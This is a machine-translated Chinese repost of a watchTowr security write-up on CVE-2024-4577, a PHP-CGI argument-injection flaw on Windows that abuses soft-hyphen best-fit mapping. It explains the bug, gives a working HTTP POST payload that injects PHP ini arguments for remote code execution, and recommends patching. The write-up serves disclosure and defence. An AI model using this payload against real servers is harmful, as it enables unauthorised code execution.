|
现在只对常读和星标的公众号才展示大图推送,建议大家把潇湘信安“设为星标”,否则可能看不到了!
文章来源:watchtowr(机翻),建议看原文:
https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577
Orange Tsai 几个小时前发了一条推文,称“他的一个 PHP 漏洞默认影响 XAMPP”,我们对此感到十分好奇。XAMPP 是管理员和开发人员快速部署 Apache、PHP 和许多其他工具的一种非常流行的方式,任何可能在其默认安装中给我们带来 RCE 的漏洞听起来都很诱人。
幸运的是,对于防御者来说,该漏洞仅在Windows某些特定区域被利用:
繁体中文(代码页 950)
简体中文(代码页 936)
日语(代码页 932)
然而,Orange 警告其他地区也可能受到影响,并敦促用户升级到最新版本的 PHP,该版本已修复这些错误(有关详细信息,请参阅他们的博客文章)。
https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability-en/?ref=labs.watchtowr.com
这篇博文虽然信息量很大,但并没有告诉我们如何才能获得这个 RCE。不幸的是,配置选项的范围很广,很难确切地证明一个实例是否存在漏洞。正因为如此,我们开始重现这个漏洞——如果我们可以利用它,那就是证明可利用性的最佳方式,对吧?
不,我也不行。让我们在十六进制编辑器中看一下,看看是否能给我们任何线索。
嗯,很有趣——在这里我们可以看到,第一次调用使用了普通的破折号 (0x2D),而第二次调用似乎使用了完全不同的东西(显然是“软连字符”),代码为 0xAD(突出显示)。虽然它们对你我来说都是一样的,但对操作系统来说,它们的含义却大不相同。
好吧。事实证明,作为 Unicode 处理的一部分,PHP 将应用所谓的“最佳匹配”映射,并假设当用户输入软连字符时,他们实际上想要输入真正的连字符,并将其解释为真正的连字符。这就是我们的弱点所在 - 如果我们为 CGI 处理程序提供软连字符 (0xAD),CGI 处理程序将不会觉得有必要对其进行转义,而是会将其传递给 PHP。然而,PHP 会将其解释为真正的连字符,这允许攻击者将以连字符开头的额外命令行参数偷偷带入 PHP 进程。
https://pentesterlab.com/exercises/cve-2012-1823/course
要将我们的注入转化为 RCE,我们应该注入以下参数:
-d allow_url_include=1 -d auto_prepend_file=php://input
POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
User-Agent: curl/8.3.0
Accept: */*
Content-Length: 23
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
phpinfo();
哦,太高兴了——我们收到了一页奖励phpinfo,表明我们确实实现了 RCE。
结论
一个非常严重的漏洞,但利用起来非常简单——非常适合周五下午。
对于其他语言环境(例如英语、韩语、西欧等)的 Windows,由于 PHP 使用场景十分广泛,目前尚无法完全列举并杜绝所有潜在漏洞利用场景,因此建议用户进行全面的资产评估,核实自身使用场景,并将 PHP 更新至最新版本,确保安全。
原文始发于微信公众号(潇湘信安):CVE-2024-4577 PHP RCE 再次来袭!
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论